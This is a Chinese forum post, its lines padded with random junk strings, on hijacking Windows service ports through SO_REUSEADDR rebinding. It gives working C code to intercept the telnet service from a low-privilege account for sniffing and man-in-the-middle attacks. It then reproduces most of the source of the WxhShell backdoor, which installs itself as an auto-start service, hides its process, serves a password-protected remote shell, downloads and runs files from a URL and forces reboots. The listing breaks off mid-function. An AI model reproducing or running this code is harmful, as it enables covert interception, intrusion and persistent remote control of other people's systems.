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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~,yHE3B\G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s)<#a(!  
/zn|?Y[  
  saddr.sin_family = AF_INET; PPT"?lt*&  
eSXt"t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I ,Q"<? &  
>L/Rf8j&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !o &+  
ZC3b9:tk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Fa^5.p  
i](,s.  
  这意味着什么?意味着可以进行如下的攻击: Ojp)OeF\  
DR/qe0D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u3kK!2cdP  
UC^&& 2maI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [.B)W);  
_lb ^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ME~ga,|K  
&V1N a1`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S{j|("W"[  
H V<|eL #  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Pgg6(O9}B^  
c"t1E-Nsk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4vTO  #F  
` =dD6r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PaV[{ CD  
&oiX/UaY  
  #include @Fqh]1t  
  #include (6z^m?t?  
  #include exV6&bdu  
  #include    wXDF7tJh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t$r^'ZN  
  int main() XETY)<g  
  { )H$Ik)/N  
  WORD wVersionRequested; sj2v*tFb  
  DWORD ret; l.1)%q&@^  
  WSADATA wsaData; B?-RzWB\3  
  BOOL val; dv-yZRU:  
  SOCKADDR_IN saddr; (?xGl V`n  
  SOCKADDR_IN scaddr; qf+jfc(Iby  
  int err; %([$v6y  
  SOCKET s; OYC4iI  
  SOCKET sc; +GI[ Kq  
  int caddsize; PC/fb-J  
  HANDLE mt; ?AP2Opsl  
  DWORD tid;   TW).j6@f  
  wVersionRequested = MAKEWORD( 2, 2 ); g}IdU;X$NT  
  err = WSAStartup( wVersionRequested, &wsaData ); 8+ eZU<\B(  
  if ( err != 0 ) { i9k7rEW^  
  printf("error!WSAStartup failed!\n"); y#HD1SZ  
  return -1; !^!<Xz;  
  } PB4E_0}h  
  saddr.sin_family = AF_INET; M$-4.+G  
   hxx,E>k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _`/0/69  
wQ!~c2a<8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~w Dmt  
  saddr.sin_port = htons(23); |K'{R'A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %cO;{og M  
  { m(nlu  
  printf("error!socket failed!\n"); x@2rfs  
  return -1;  ?1r@r  
  } 7GfgW02  
  val = TRUE;  wxsJB2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F^_d8=67h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /V~L:0%  
  { P~ _CDh.N  
  printf("error!setsockopt failed!\n"); 0{ v?  
  return -1; {b^naE  
  } [ar:zl V8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4DEsB)%X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cGkl=-oQ'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R%aH{UhE`  
b@^M|h.Va  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lZ0+:DaP2  
  { T;GBZR%  
  ret=GetLastError(); V-A^9AAPm  
  printf("error!bind failed!\n"); qh0)~JL4   
  return -1; &o^wgmS   
  } /`\-.S9  
  listen(s,2); vPmP<c)cb  
  while(1) h@Ea$1'e,  
  { dVVeH\o  
  caddsize = sizeof(scaddr); b-]E -$Uz  
  //接受连接请求 oHI~-{m3)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XZcsx  
  if(sc!=INVALID_SOCKET) u A C:&  
  { h\'GL(?DBI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H24g+<Tv  
  if(mt==NULL) POH >!lHu  
  { qS&PMQ"$  
  printf("Thread Creat Failed!\n"); rZu_"bcJ  
  break; x~s>  
  } H; TmG<S  
  } 34YYw@?}Y  
  CloseHandle(mt); Mn>dI@/gM  
  } Ou2H~3^PL  
  closesocket(s); BGOI$,  
  WSACleanup(); c/;t.+g  
  return 0; Lj*F KP\{  
  }   }K~JM1(26  
  DWORD WINAPI ClientThread(LPVOID lpParam) <B`}18x  
  { {tOuKnnS  
  SOCKET ss = (SOCKET)lpParam; 68FxM#xR  
  SOCKET sc; 6xdu}l=%  
  unsigned char buf[4096]; "1%<IqpU+  
  SOCKADDR_IN saddr; "x\3`Qk  
  long num; *^Zt5 zk  
  DWORD val; t8i"f L  
  DWORD ret; g ywI@QD%#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0#K@^a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r{\cm Ds  
  saddr.sin_family = AF_INET; P7egT,Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n,PHfydqX  
  saddr.sin_port = htons(23); ]~?k%Mpw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MFW?m,It)  
  { E>4#j PK  
  printf("error!socket failed!\n"); ~pzaX8!  
  return -1; n/$BdFH  
  } C^n L{ZP,  
  val = 100; G8u8&|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^l$(-#'y  
  { Y D.3FTNGC  
  ret = GetLastError(); |\QR9>  
  return -1; h4?+/jk7  
  } f@LUp^Z/v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EyBdL  
  { 15yIPv+5  
  ret = GetLastError(); T d;e\s/]  
  return -1;  Xid>8  
  } Ub3,x~V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W**=X\"'  
  { Vaha--QB  
  printf("error!socket connect failed!\n"); <ya'L&  
  closesocket(sc); /@3+zpaw X  
  closesocket(ss); v[Q)cqj/  
  return -1; (R6ZoBZ  
  } E*(Q'p9C  
  while(1) GGJ_,S*  
  { S BFhC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y\+^\`Tqu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ <>+Dk&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LrPDpTd  
  num = recv(ss,buf,4096,0); GC4$9q}C4Z  
  if(num>0) 5&}icS  
  send(sc,buf,num,0); FblGFm"P  
  else if(num==0) :[ITjkhde0  
  break; N23s{S t  
  num = recv(sc,buf,4096,0); }rO4b>J  
  if(num>0) MO _9Yi  
  send(ss,buf,num,0); 7PQedZ<\  
  else if(num==0) @=;6:akz`  
  break; !?l 23(d  
  } ;euWpE;E\#  
  closesocket(ss); PU'v o4  
  closesocket(sc); @W. `'b-  
  return 0 ; :+R5"my  
  } dt5gQ9(B  
wSAm[.1i  
BbU&e z8P  
========================================================== ADR`j;2  
[")0{LSA=  
下边附上一个代码,,WXhSHELL =pk'a_P 8-  
CC)9Ks\  
========================================================== y.O? c &!  
A%GJ|h,i  
#include "stdafx.h" IcQ?^9%{  
Z(<ul<?r  
#include <stdio.h> iEU(1?m2-  
#include <string.h> Etl7V  
#include <windows.h> '@fk(~|  
#include <winsock2.h> 26Yg?:kP  
#include <winsvc.h> >)N#n`  
#include <urlmon.h> }2\"(_  
plf<O5'  
#pragma comment (lib, "Ws2_32.lib") <=zGaU,  
#pragma comment (lib, "urlmon.lib") IK W!P1  
0)P18n"$  
#define MAX_USER   100 // 最大客户端连接数 C$tSsw?A  
#define BUF_SOCK   200 // sock buffer ':>B %k  
#define KEY_BUFF   255 // 输入 buffer r! M2H {  
|SxEJ  
#define REBOOT     0   // 重启 FdSaOod8  
#define SHUTDOWN   1   // 关机 lp9<j1Wl  
5G!X4%a  
#define DEF_PORT   5000 // 监听端口 9 V"j=1B}  
K&X'^|en  
#define REG_LEN     16   // 注册表键长度 )T4L^^`  
#define SVC_LEN     80   // NT服务名长度 l,X;<&-[  
Qb|dp~K.M  
// 从dll定义API Kz<xuulr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0)/214^&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p/:5 bvA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S1+#qs {5a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -0]aOT--  
NRl"!FSD;"  
// wxhshell配置信息 o}%fs *  
struct WSCFG { r zvX~B6  
  int ws_port;         // 监听端口 2Z97Tq  
  char ws_passstr[REG_LEN]; // 口令 $?s^HKF~  
  int ws_autoins;       // 安装标记, 1=yes 0=no s{IoL_PJP  
  char ws_regname[REG_LEN]; // 注册表键名 aQG#bh [  
  char ws_svcname[REG_LEN]; // 服务名 srSTQ\l4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T9$U./69-L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <VBw1|)$@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :1{j&$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "/ "qg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +/X'QB$R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =QC^7T  
g|zK%tR_P  
}; c[YjGx  
H|!s.  
// default Wxhshell configuration v]J# SlF  
struct WSCFG wscfg={DEF_PORT, 7 dzE"m  
    "xuhuanlingzhe", a2 SQ:d  
    1, 68)^i"DM<  
    "Wxhshell", l6 WcnJ  
    "Wxhshell", MCCZh{uo  
            "WxhShell Service", ku{aOV%  
    "Wrsky Windows CmdShell Service", BmM,vllO  
    "Please Input Your Password: ", 7^iAc6QSy3  
  1, xL BG}C  
  "http://www.wrsky.com/wxhshell.exe", q)~qd$yMS  
  "Wxhshell.exe" 6+FON$8  
    };  #.><A8J  
9?:S:Sq  
// 消息定义模块 J#kdyBmuO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w* I+~o-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; toWmm(7v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZX0c_Mk=  
char *msg_ws_ext="\n\rExit."; j{^(TE  
char *msg_ws_end="\n\rQuit."; 3dbf!   
char *msg_ws_boot="\n\rReboot..."; VZ,T`8"  
char *msg_ws_poff="\n\rShutdown..."; &8pXkD#A  
char *msg_ws_down="\n\rSave to "; 3/AUV%+  
. $k"+E  
char *msg_ws_err="\n\rErr!"; ZFON]$Zk  
char *msg_ws_ok="\n\rOK!"; k$c j|-<  
gctaarB&  
char ExeFile[MAX_PATH]; Cm4 *sN.&)  
int nUser = 0; |rvrSab)  
HANDLE handles[MAX_USER]; A!D:Kc3  
int OsIsNt; jQb D2x6(  
caP  
SERVICE_STATUS       serviceStatus; |z'?3?,~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j+9 S  
9yh@_~rZ  
// 函数声明 r83~o/T@  
int Install(void); !7oy%{L  
int Uninstall(void); {X$Mwqhpp;  
int DownloadFile(char *sURL, SOCKET wsh);  SoX V  
int Boot(int flag); R u5&xIQ  
void HideProc(void); X{ =[q|P  
int GetOsVer(void); Ic}ofBK  
int Wxhshell(SOCKET wsl);  ~Hs{(7   
void TalkWithClient(void *cs); dO[4}FZ$  
int CmdShell(SOCKET sock); gp)ds^  
int StartFromService(void); `VsGa  
int StartWxhshell(LPSTR lpCmdLine); Lm|X5RVq  
X2[cR;;'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KV_Ga8hs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @"8QG^q8de  
DKl7|zG4  
// 数据结构和表定义 uE j6A  
SERVICE_TABLE_ENTRY DispatchTable[] = BcLt95;.\  
{ 6\;1<Sw*  
{wscfg.ws_svcname, NTServiceMain}, "o 3"1s>d{  
{NULL, NULL} .LhmYbQ2WE  
}; CiI: uU  
>#?: x*[  
// 自我安装 d*$<%J  
int Install(void) L_mqC(vn  
{ 5@$4.BGcF  
  char svExeFile[MAX_PATH]; kDq%Y[6Z  
  HKEY key; 3(+#^aw  
  strcpy(svExeFile,ExeFile); ?vFh)U  
k_>{"Rc  
// 如果是win9x系统,修改注册表设为自启动 !h!9SE  
if(!OsIsNt) { n*~   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ef&@aB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >e;STU  
  RegCloseKey(key); Jt6J'MOq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ap^=CEf   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q ~JKKq  
  RegCloseKey(key); 6# ";W2  
  return 0; 1omvE9 %zM  
    } &.hRVW(  
  } |"qB2.[  
} ~C'nBV  
else { ,,@`l\Pgd  
k{jw%a<Sc  
// 如果是NT以上系统,安装为系统服务 cl{W]4*$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +[/47uFbI  
if (schSCManager!=0) -5 /v`  
{ /dt!J `:  
  SC_HANDLE schService = CreateService L5 9oh  
  ( |ozoc"'  
  schSCManager, b',bi.FH  
  wscfg.ws_svcname, b0Ov+ )7#  
  wscfg.ws_svcdisp, rJZs 5g`  
  SERVICE_ALL_ACCESS, ZT8J i?_n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lzx$"R-  
  SERVICE_AUTO_START, 'S7@+kJ  
  SERVICE_ERROR_NORMAL, \Z20fh2  
  svExeFile, F9P0cGDs  
  NULL, 4>VZk^%b#  
  NULL, yVHlT  
  NULL, n/oipiYx  
  NULL, d[e:}1  
  NULL |$w={N^4  
  ); "P5bYq%0v  
  if (schService!=0) ]H#Rm#q  
  { s9kLB.  
  CloseServiceHandle(schService); U?fN3  
  CloseServiceHandle(schSCManager); yj'' \  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` .(S#!gw  
  strcat(svExeFile,wscfg.ws_svcname); \h7J/es^p!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nX\]i~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @gSFvb bc  
  RegCloseKey(key); 2~WFLD  
  return 0; Pgw%SMEp  
    } RyOT[J  
  } VnSj:LUD  
  CloseServiceHandle(schSCManager); 4Sstg57x~  
} 8o7]XZE=)  
} (1AA;)`Kp  
Di<J6xu  
return 1; `JWYPsWk  
} ]~00=nXFM/  
x*&&?nV Iz  
// 自我卸载 #VdI{IbW  
int Uninstall(void) M=[q+A  
{ s i "`  
  HKEY key; 5m.KtnT)  
.\~P -{Hd  
if(!OsIsNt) { w$lfR ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i\Pr3 7 "  
  RegDeleteValue(key,wscfg.ws_regname); ^UvK~5tBV  
  RegCloseKey(key); 9MB\z"b?A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T]#,R|)d  
  RegDeleteValue(key,wscfg.ws_regname); zz 'dg-F  
  RegCloseKey(key); vN,}aV2nq  
  return 0; _A,-[*OKI  
  } 0^y@p&;/.  
} O<dZA=Oez  
} p~q_0Pg%  
else { RUk<=! U  
()C^ta_]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qw<kX*fxrI  
if (schSCManager!=0) [pW1=tI  
{ ,/?%y\:J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I*W9VhIOV  
  if (schService!=0) &AQ;ze  
  { a(ux?V)E.  
  if(DeleteService(schService)!=0) { %kZ~xbY  
  CloseServiceHandle(schService); l0caP(  
  CloseServiceHandle(schSCManager); sh !~T<yy  
  return 0; W?^8/1U  
  } X(!AI|6Bt  
  CloseServiceHandle(schService); VX!Y`y^a  
  } ~*mOt 7G  
  CloseServiceHandle(schSCManager); ci ,o8 [Y  
} (Gi+7GMV'  
} g\qL}:  
zY+t,2z  
return 1; v$)@AE  
} /=muj9|+s  
D]pK=247  
// 从指定url下载文件 jA-5X?!In  
int DownloadFile(char *sURL, SOCKET wsh)  hmBnV  
{ \za5:?[xB  
  HRESULT hr; ;WvYzd9  
char seps[]= "/"; MJ>Qq[0  
char *token; uXQ7eXX  
char *file; I|F~HUzA"  
char myURL[MAX_PATH]; Jcalf{W6  
char myFILE[MAX_PATH]; J-, H6u  
MdVCD^B  
strcpy(myURL,sURL); 84p[N8  
  token=strtok(myURL,seps); $kkp*3{ot  
  while(token!=NULL) |D;"D  
  { ZSF=  
    file=token; hy$MV3LP  
  token=strtok(NULL,seps); V#gF*]q  
  } l&6U|q`  
`R=a@DQ  
GetCurrentDirectory(MAX_PATH,myFILE); {DEzuU  
strcat(myFILE, "\\"); ZL-uwI!`D  
strcat(myFILE, file); vh|Tb5W<  
  send(wsh,myFILE,strlen(myFILE),0); 5W[3_P+  
send(wsh,"...",3,0); IqhICC1V-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7 >PF~=  
  if(hr==S_OK) 4f4 i1i:  
return 0; t+=12{9;f  
else Ad]<e?oN=  
return 1; ']d!?>C@o  
T6h;Y  
} 8 zQ_xE  
'a;ini  
// 系统电源模块 di3 B=A>3  
int Boot(int flag) ;[TljcbS  
{ 943I:, B  
  HANDLE hToken; L4YVH2`0)  
  TOKEN_PRIVILEGES tkp; JCw{ ?^F"  
(orrX Ez  
  if(OsIsNt) { e9~cBG|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n_""M:XH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ! Q|J']|  
    tkp.PrivilegeCount = 1; JqI6k6~Q^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v!<PDw2'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hmK8j l<6  
if(flag==REBOOT) { j+_S$T8w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \6`v.B&v  
  return 0; =cf{f]N  
} j~,h )C/ v  
else { v}7@CP]nV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >DDQ'W!  
  return 0; !lR0w|  
} KWFyw>*)  
  } ftYR,!&  
  else { b@=z rhQ  
if(flag==REBOOT) { abM84EU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5Y(r\Dd  
  return 0; 'RDWU7c9]  
} 'R^iKNPs  
else { ]s*5[ =uc2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3C277nx  
  return 0; KqN!?anPr  
} =ud `6{R  
}  M*d-z  
-'80>[}q/  
return 1; 7<h.KZPc  
} ixOEdQ  
Y3-]+y%l  
// win9x进程隐藏模块 q{a#HnZo"  
void HideProc(void) e{,!|LhpQ  
{ |'ZN!2u  
EKc C+g   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %  2I  
  if ( hKernel != NULL ) "Jb3&qdU  
  { jmkRP"ZnA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^ [ET&"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;LHDh_.pX  
    FreeLibrary(hKernel); pU M&"V  
  } $ I#7dJ"*  
`Jn,IDq  
return; %/P=m-K  
} 0;}Aj8Fle  
?sV[MsOsC  
// 获取操作系统版本 Kn']n91m  
int GetOsVer(void) bX7EO 8  
{ [!^cd%l  
  OSVERSIONINFO winfo; ows^W8-w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fCLcU@3W?  
  GetVersionEx(&winfo); ft{W/ * +_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V?=TVI*k  
  return 1; mRCHrw?WG  
  else llNXQlP\B  
  return 0; 1XG$ z@NN  
} /v5qyR7an  
rxQ<4  
// 客户端句柄模块 ICk(z~D~  
int Wxhshell(SOCKET wsl) WS5A Y @(~  
{ -<6v:Z  
  SOCKET wsh; ]K7`-p~T  
  struct sockaddr_in client; x7f:F.  
  DWORD myID; !;i*\ a  
5!~!j "q  
  while(nUser<MAX_USER) FS8S68  
{ 6{Ks`Af  
  int nSize=sizeof(client); +Z ><  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gi*<~`Gr  
  if(wsh==INVALID_SOCKET) return 1; P2On k l  
kg:l:C)Tq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Te+^J8  
if(handles[nUser]==0) H- 185]7  
  closesocket(wsh); Yr+d1(  
else VQ2Fnb4  
  nUser++; [6_"^jgH  
  } N?$7 Z v[G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TaOOq}8c#  
)Lb72;!?  
  return 0; 8\DME  
} w$b~x4y%  
0F^]A"kF  
// 关闭 socket aRX  
void CloseIt(SOCKET wsh) 3x![ 8 x  
{ )6G" *  
closesocket(wsh); Oo kxg *!5  
nUser--; Z9xR  
ExitThread(0); ^1.7Juvb  
} >&1um5K  
>{QdMn  
// 客户端请求句柄 JPsSw  
void TalkWithClient(void *cs) *E}Oh  
{ 2 % %|fU9  
l]$40 j  
  SOCKET wsh=(SOCKET)cs; } %+qP +O\  
  char pwd[SVC_LEN]; Y[ ?`\c|  
  char cmd[KEY_BUFF]; LP,9<&"<  
char chr[1]; O] H=s  
int i,j; c#  xO<  
{|XQO'Wg  
  while (nUser < MAX_USER) { a!D*)z Y  
GQ<Ds{exs>  
if(wscfg.ws_passstr) { ]% Y\ZIS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %@P``  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9k}<Fz"^.  
  //ZeroMemory(pwd,KEY_BUFF); O ^0"  
      i=0; l DnMjK\M  
  while(i<SVC_LEN) { Z:|9N/>T  
VJg,~lQN#t  
  // 设置超时 7G"7wYc>R  
  fd_set FdRead; ,%Z&*n  
  struct timeval TimeOut; SW#BZ3L  
  FD_ZERO(&FdRead); E+z18Lf?  
  FD_SET(wsh,&FdRead); =53b Lzr  
  TimeOut.tv_sec=8; )tD6=Iz^5  
  TimeOut.tv_usec=0; .gq(C9<B[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <5I1DF[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5q Rc4d'  
r4?b0&Xq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5>P7]?U.]  
  pwd=chr[0]; wyzOcx>M  
  if(chr[0]==0xd || chr[0]==0xa) { |!Fk2Je,  
  pwd=0; &n|*uLn  
  break; -;>#3 O-  
  } \vVSh  
  i++; Q&PB]D{  
    } MRs,l'  
sPy2/7Wqd  
  // 如果是非法用户,关闭 socket _88QgThb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y\p $SN  
} FsY(02  
qg4fR' i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 72,"Cj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +T2HE\  
Y208b?=9w  
while(1) { g4wZvra6%)  
VgMP^&/gZ  
  ZeroMemory(cmd,KEY_BUFF); |1l&@#j!2  
%`+'v_iu  
      // 自动支持客户端 telnet标准   Mlj#b8  
  j=0; ?/'}JS(Sm  
  while(j<KEY_BUFF) { <0 uOq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qn.[{rw  
  cmd[j]=chr[0]; P"F{=\V1`<  
  if(chr[0]==0xa || chr[0]==0xd) { jV^C19  
  cmd[j]=0; {6O0.}q]&  
  break; )o jDRJ&  
  } -72j:nk  
  j++; Yj|]Uff8O  
    } x2k*| =$  
Obo_YE  
  // 下载文件 J>%t<xYf4  
  if(strstr(cmd,"http://")) { aD ESr?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  s4$X  
  if(DownloadFile(cmd,wsh)) [N:BM% FQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^PqMi:htc  
  else iCrxV{   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #*2Rp8n  
  } ~;unpym'  
  else { 62kb2C  
`G?qY8  
    switch(cmd[0]) { =IHje;s  
  7tgFDLA  
  // 帮助 O-PdM`mqW  
  case '?': { [bjN f2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xo  Gb  
    break; yN\e{;z`  
  } :wipE]~4t  
  // 安装 -;pOh;WG  
  case 'i': { ((|IS[  
    if(Install()) #s2B%X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y94kX:q  
    else %>y;zqZIU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QaQ'OrP  
    break; p<5!0 2yQ\  
    } '7tBvVO_  
  // 卸载 4x,hj  
  case 'r': { %l7fR}  
    if(Uninstall()) PLdn#S}.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RUGv8"j  
    else aFY u}kl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  KG8W8&q  
    break; u 9]1X1wV  
    } y ~AmG~  
  // 显示 wxhshell 所在路径 ll<mE,  
  case 'p': { |0 !I5|<k  
    char svExeFile[MAX_PATH]; m^I,}1H4  
    strcpy(svExeFile,"\n\r"); \c7>:DH  
      strcat(svExeFile,ExeFile); tln1eN((q  
        send(wsh,svExeFile,strlen(svExeFile),0); 6OB",  
    break; V1utUGJV  
    } 2dbRE:v5  
  // 重启 6I|A- h  
  case 'b': { J%Mnjk^_\S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'RTtE  
    if(Boot(REBOOT)) QCpM|,drS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3t(c_:[%  
    else { |J3NR`-R  
    closesocket(wsh); (C S8(C4[  
    ExitThread(0); OM:v`<T!z  
    } 3nFt1E   
    break; EJm4xkYLj1  
    } E4HU 'y~  
  // 关机 &q>zR6jne  
  case 'd': { |LmSWy*7  
